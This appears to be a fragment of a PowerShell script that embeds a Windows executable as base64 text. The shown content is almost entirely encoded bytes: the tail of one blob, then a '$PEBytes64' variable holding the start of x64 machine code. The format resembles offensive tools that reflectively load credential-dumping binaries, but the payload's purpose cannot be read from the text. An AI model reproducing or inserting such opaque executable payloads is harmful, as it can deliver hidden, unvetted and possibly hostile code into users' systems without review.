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vw6ADsEOwg7DDsQOxQ7GDscOyA7JDsoOyw7MDs0Ozg7PDtAO0Q7SDtMO1A7VDtYO1w7YDtkOwCwBwA4AAAAID8oPzA/ND84Pzw/QD9EP0g/TD9UP1g/XD9gP2Q/aD9sP3A/fD+EP4g/jD+QP5Q/AMAHAOAAAACoNKw0sDS0NLg0vDTANMQ0yDTMNNA01DTYNNw04DTkNOg07DTwNPQ0+DT8NAA1BDUINQw1EDUUNRg1HDUgNSQ1KDUsNTA1NDU4NTw1QDVENUg1TDVQNVw1YDVkNWg1bDVwNXQ1eDV8NYA1hDWINYw1kDWUNZg1nDWgNaQ1qDWsNbA1tDW4Nbw1wDXENcg1zDXQNdQ12DXcNeA15DXoNew18DX0Nfg1/DUANgQ2CDYQNhQ2GDYcNiA2JDYoNiw2MDY0Njg2PDZANkQ2SDZMNlA2VDZYNlw2AAAA0AcA2AEAABw0IDQkNCg0jDSUNJw0pDSsNLQ0vDTENMw01DTcNOQ07DT0NPw0BDUMNRQ1HDUkNSw1NDU8NUQ1TDVUNVw1ZDVsNXQ1fDWENYw1lDWcNaQ1rDW0Nbw1xDXMNdQ13DXkNew19DX8NQQ2DDYUNhw2JDYsNjQ2PDZENkw2VDZcNmQ2bDZ0Nnw2hDaMNpQ2nDakNqw2tDa8NsQ2zDbUNtw25DbsNvQ2/DYENww3FDccNyQ3LDc0Nzw3RDdMN1Q3XDdkN2w3dDd8N4Q3jDeUN5w3pDesN7Q3vDfEN8w31DfcN+Q37Df0N/w3BDgMOBQ4HDgkOCw4NDg8OEQ4TDhUOFw4ZDhsOHQ4fDiEOIw4lDicOKQ4rDi0OLw4xDjMONQ43DjkOOw49Dj8OAQ5DDkUORw5JDksOTQ5PDlEOUw5VDlcOWQ5bDl0OXw5hDmMOZQ5nDmkOaw5tDm8OcQ5zDnUOdw55DnsOfQ5/DkEOgw6FDocOiQ6LDo0Ojw6RDpMOlQ6XDpkOmw6dDp8OoQ6jDqUOpw6pDqsOrQ6vDrEOsw61DrcOuQ67Dr0Ovw6BDsMOxQ7HDskOyw7NDs8O0Q7TDtUO1w7ZDtsO3Q7fDuEO4w7lDucO6Q7AOAHANABAACYNaA1qDWwNbg1wDXINdA12DXgNeg18DX4NQA2CDYQNhg2IDYoNjA2ODZANkg2UDZYNmA2aDZwNng2gDaINpA2mDagNqg2sDa4NsA2yDbQNtg24DboNvA2+DYANwg3EDcYNyA3KDcwNzg3QDdIN1A3WDdgN2g3cDd4N4A3iDeQN5g3oDeoN7A3uDfAN8g30DfYN+A36DfwN/g3ADgIOBA4GDggOCg4MDg4OEA4SDhQOFg4YDhoOHA4eDiAOIg4kDiYOKA4qDiwOLg4wDjIONA42DjgOOg48Dj4OAA5CDkQORg5IDkoOTA5ODlAOUg5UDlYOWA5aDlwOXg5gDmIOZA5mDmgOag5sDm4OcA5yDnQOdg54DnoOfA5+DkAOgg6EDoYOiA6KDowOjg6QDpIOlA6WDpgOmg6cDp4OoA6iDqQOpg6oDqoOrA6uDrAOsg60DrYOuA66DrwOvg6ADsIOxA7GDsgOyg7MDs4O0A7SDtQO1g7YDtoO3A7eDuAO4g7kDuYO6A7qDuwO7g7wDvIO9A72DvgO+g78Dv4OwA8CDwQPBg8IDwoPDA8ODxAPEg8UDxYPGA8aDxwPHg8gDyIPJA8mDygPKg8sDwA8AcAEAAAAKo2rjayNrY2AAAIAKwCAABMMFQwXDBkMGwwdDB8MIQwjDCUMJwwpDCsMLQwvDDEMMww1DDcMOQw7DD0MPwwBDEMMRQxHDEkMSwxwDLIMugy9DIAMwwzGDMkMygzLDMwMzQzODM8M0AzRDNIM0wzUDNUM1gzXDNgM2QzaDNsM3AzdDN4M3wzgDOIM5AzmDOgM6gzsDO4M8AzyDPQM9gz4DPoM/Az+DMANAg0EDQYNCA0KDQwNDg0QDRINFA0WDRgNGg0cDR4NIA0iDSQNJg0oDSoNLA0uDTANMg00DTYNOA06DTwNPQ0+DT8NAA1BDUINQw1EDUYNSA1KDUwNTg1QDVINdA11DXYNdw14DXkNeg17DXwNfQ1+DX8NQQ2DDbAN8g30DfYN+A36DfwN/g3ADgIOBA4GDggOCg4MDg4OEA4SDhQOFQ4WDhcOGA4ZDhoOGw4cDh0OHg4fDiAOIQ4iDiMOJA4lDiYOJw4oDikOKg4rDiwOLg4wDjIONA42DjgOOg48Dj4OAA5CDkQORg5IDkoOTA5ODlAOUg5UDlYOWA5aDlwOXg5gDmIOZA5mDmgOag5sDm4OcA5yDnQOdg54DnoOfA5+DkAOgg6EDoYOiA6KDowOjg6QDpIOlA6WDpgOmg6cDp4OoA6iDqQOpg6oDqoOrA6uDrAOsg60DrYOuA66DrwOvg6ADsIOxA7GDsgOyg7MDs4O0A7SDtQO1g7YDtoO4A7hDuIO4w7kDuUO5g7nDugO6Q7qDusO7A7tDu4O7w7wDvEO8g7zDvQO9Q72DvcO+A75DssPEg8TDxQPFQ8aDygPKQ8qDysPLA8tDy4PLw8wDzEPMg8zDzQPNQ82DzcPGg9cD10PXg9fD2APYQ9iD2MPaA9pD2oPaw9wD3wPfQ9+D38PQQ+4D7kPug+8D4APwAAABAIALAAAAAYMBwwIDAkMDgwrDBYMlwyYDJkMngyADMEMwgzDDMgM5gzUDxUPFg8XDxwPMw83DzoPOw88Dz4PAg9hD2IPYw9kD2UPZg9nD2gPaQ9qD2sPbA9tD24Pbw9wD3EPcg9zD3QPdQ92D3cPeA95D3oPew98D34Pfw9AD4EPhg+HD4gPiQ+KD4sPjA+ND44Pjw+QD5EPkg+TD5QPlQ+WD5gPmQ+aD5sPoA+AAAAIAgAlAAAAJgxnDGgMaQxqDGsMbAxtDG4MbwxwDHEMcgxzDH4MfwxBDIIMgwyEDIUMhgyHDIgMiQyKDIsMjAyNDI4MjwyQDJEMkgyTDJQMlQyWDJcMmAy7DjwOPQ4+Dj8OAA5oDqkOqg6rDqwOtQ62DrcOuA65DroOuw68Dr0Ovg6/DoAOxQ7GDvkPOg87DzwPPw8ADAIABwAAADkOug67DrwOvQ6+Dr8OrQ7vDsAAABACABAAwAAJDAoMCwwMDA0MDgwPDDkMOgw7DDwMPQw+DD8MPwzmDScNKA0qDSwNLQ0uDS8NMQ0yDTMNCg2LDYwNjQ2ODY8NkA2RDZINkw2UDZUNlg2XDZgNmQ2aDZsNnA2dDZ4Nnw2gDaENog2jDaQNpQ2mDacNqA2pDaoNqw2sDZAOEQ4SDhMOFA4VDhYOFw4YDhkOGg4bDhwOHQ4eDh8OIA4hDiIOIw4kDiUOJg4pDioOKw4sDi0OLg4vDjAOMQ4yDjMONA41DjYONw44DjkOOg47DjwOPQ4+Dj8OAA5BDkIOQw5EDkUORg5IDkkOSg5LDkwOTQ5ODk8OUA5RDlIOUw5UDlUOVg5XDmQOZQ5mDmcOdA51DnYOdw54DnkOeg57DnwOfQ5+Dn8OQA6BDoIOgw6EDocOiA6JDpEOkg6VDpgOmQ6aDpsOnA6dDp4Onw6gDqEOog6jDqQOpQ6mDqcOqA6pDqoOqw6sDq0Org6vDrAOsQ6yDrMOtA61DrYOtw64DrkOug67DrwOvQ6+Dr8OgA7BDsIOww7GDskOyg7MDs4Ozw7QDtIO0w7WDtcO2g7bDt4O3w7gDuIO4w7kDuYO5w7oDuoO6w7uDu8O8g7zDvYO9w76DvsO/g7/DsIPAw8GDwcPCg8LDw4PDw8QDxIPEw8UDxYPFw8YDxkPGg8rDywPLQ8uDy8PMA8ED0UPRg9HD0gPSQ9KD0sPTA9ND04PTw9QD1EPUg9TD1QPVQ9WD1cPWA9aD1sPXQ9eD18PYA9hD2IPYw9kD2UPZg9nD2gPcQ9yD3QPdQ92D3cPeA99D34PQQ+ED4UPhg+HD4gPiQ+KD4sPjA+ND44Pjw+QD5EPkg+TD5QPlg+XD5kPmg+cD50Pnw+gD6EPpA+nD6gPqw+uD68PsA+xD7IPsw+0D7UPtg+3D7gPuQ+6D7sPvA+9D74Pvw+AD8EPwg/DD8QPxQ/GD8cPyA/JD8oPzQ/QD9EP0g/TD9QP1Q/WD9cP2A/ZD9oP2w/cD90P3g/fD+AP4Q/iD+MP5A/lD+YP5w/oD+kP6g/rD+wP7Q/uD+8P8A/xD/IP8w/0D/UP9g/3D/gP+Q/6D/sP/A/9D/4P/w/AAAAUAgANAMAAAAwBDAIMAwwEDAUMBgwHDAgMCQwKDAsMDAwPDBIMEwwUDBUMFgwXDBgMGQwaDBsMHAwdDB4MHwwgDCEMIgwjDCQMJQwmDCcMKAwpDCoMKwwtDC4MMAwxDDMMNAw2DDcMOgw7DDwMDAxNDE4MTwxQDFEMUgxTDFQMVQxWDFcMWAxZDFoMWwxcDF0MXgxfDGAMYQxiDGMMZAxlDGYMZwxoDGkMagxrDGwMbQxuDHEMcgxzDHQMdQx2DHcMeAx5DHoMewx+DEEMggyDDIUMiAyJDIoMiwyMDI0MjgyPDJAMkQySDJMMlAyVDJYMlwyYDJkMmgybDJwMnQyeDJ8MoAyhDKIMowykDKUMpgynDKgMqQyqDK0MsAyxDLIMswy0DLUMtgy3DLgMuQy6DLsMvAy9DL4MvwyADMEMwgzDDMQMxQzGDMcMyAzJDMoMywzMDM0MzgzPDNAM0QzSDNMM1AzVDNYM1wzYDNkM2gzbDNwM3QzeDN8M4AzhDOIM4wzkDOUM5gznDOgM6QzqDOsM7gzxDPIM8wz0DPUM9wz4DPoM+wz8DP0M/gz/DMANAQ0CDQMNBA0FDQYNBw0IDQkNCg0LDQ4NEQ0SDRUNFg0XDRwNIg0oDS4NLw00DTUNOg07DQANSA1JDUoNSw1MDU8NWA1ZDVoNWw1cDV0NXg1fDWANYQ1iDWMNZA1lDWYNZw1oDWkNag1rDWwNbQ1uDW8NcA1xDXINcw10DXUNdg13DUINjA2NDY4Njw2QDZENkg2TDZQNlQ2WDZcNmA2ZDZoNmw2cDZ0NtA21DbYNtw25DYgNyg3MDc4N1Q3WDdcN2Q3aDdsN3A3dDd4N3w3gDeEN4g3jDeQN5Q3mDecN6A3pDeoN6w3sDe0N7g3vDfAN8Q3yDfMN9A31DfYN9w34DfkN+g37DfwN/Q3+Df8NwA4BDgIOAw4EDgUOBg4HDggOCQ4KDgsODA4NDg4ODw4QDhEOEg4TDhQOFQ4WDhcOGA4ZDhoOGw4cDh0OHg4fDiAOIQ4iDiMOJA4lDiYOJw4oDikOKg4rDiwOLQ4uDj0Ofg5/DlIOvQ+/D4APwQ/GD8cPwAAAAALAKgAAAA8O0A7TDtQO1w7YDtsO3A7fDuAO4w7kDucO6A7rDuwO7w7wDvMO9A73DvgO+w78Dv8OwA8DDwQPBw8IDwsPDA8PDxAPEw8UDxcPGA8bDxwPHw8gDyMPJA8nDygPKw8sDzQPPA8DD0QPSw9MD1QPXA9kD2cPbg92D34PRg+OD5APkQ+YD6APpw+oD7APuA+AD8gP0A/YD+AP6A/wD/gPwAAABALACgAAAAAMCAwQDBgMIAwoDDAMOAwADEgMUAxXDFgMXwxgDEAAABQCwDAAQAAADEwMUAxUDFgMXAxiDGUMZgxnDG4Mbwx+DEYNyg3LDcwNzQ3ODc8N0A3RDdIN0w3WDdcN2A3ZDdoN2w3cDd0N/g3/DfEOdQ58Dn4Ofw5ADoEOhg6HDogOiQ6KDosOjA6NDo4OkA6UDpYOmA6aDqIOpA6lDqYOpw6sDq0Org6vDrAOsQ6yDrMOtA61DrcOug69Dr4OgA7BDsMOxA7GDscOyQ7KDswOzQ7PDtAO0g7TDtUO2A7bDtwO3g7fDuEO4g7kDucO6A7qDusO7Q7uDvAO8Q7zDvQO9g73DvkO+g78Dv0O/w7ADwIPAw8FDwgPCQ8LDwwPDg8PDxEPEg8UDxUPFw8YDxoPGw8dDx4PIA8hDyMPJA8mDycPKQ8qDywPLQ8vDzAPMg8zDzUPNg84DzsPPg8/DwEPQg9ED0UPRw9ID0oPSw9ND04PUA9RD1MPVA9WD1cPWQ9aD1wPXQ9fD2APYg9jD2UPZg9oD2kPaw9sD24PcQ9yD3QPdQ93D3oPfQ9AD4MPhg+JD4wPjQ+PD5APkg+TD5UPmA+ZD5sPng+hD6IPqQ/rD+0P8A/yD/QP9w/5D/sP/g/AAAAYAsAfAEAAAwwFDAoMDAwRDBMMGAwaDB8MIQwmDCgMLQwvDDQMNgw7DD0MAgxEDEsMUAxRDFIMVwxZDGAMZQxmDGcMbAxuDHMMdQx6DHwMQQyDDIgMigyPDJEMlgyYDJ0MnwykDKYMqwytDLIMtAy5DLsMgAzCDMcMyQzODNAM1QzXDNwM3gzjDOUM6gzsDPEM8wz4DPoM/wzBDQYNCA0NDQ8NFA0WDRsNHA0dDSINIw0kDSkNKg0rDTANMQ0yDTcNOA05DT4NPw0ADUUNRg1HDUoNTA1ODVENUw1VDVgNWg1cDWMNag1vDXENcw10DXUNdg13DXgNeg1KDZkNqA2KDcwN2Q3bDegN6g33DfkNxg4IDhUOFw4mDigONQ43DgQORg5qDmwOeQ57DkgOig6XDpkOpg6oDrUOtw6EDsYO2g7cDuoO7A75DvsOyA8KDxcPGQ8mDygPNA8OD1APYg9xD0APjw+nD6wPsQ+2D7gPhQ/HD9QP1g/jD+UPwBwCwDMAAAAKDAwMGQwbDCgMKgw3DDkMBgxIDGIMcQxADI8MnQyeDKoMuQyKDNkM6Az3DMYNFQ0iDSUNAg1RDWANbw1+DU0Nmg2bDZ0Nqg25DYgN2A3bDeMN5g3yDcEOEA4fDi4OPQ4MDlsObA5tDm8OeQ56DnwORg6TDpQOlg6iDq8OsA6yDr4OjQ7cDusO+g77Dv0Oyg8ZDygPNw8GD1kPWg9cD2QPZQ9mD2cPaA9pD2oPaw9sD20Pbw9wD3EPcg9zD3QPdQ92D3cPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=='
2725
2722 $PEBytes64 = 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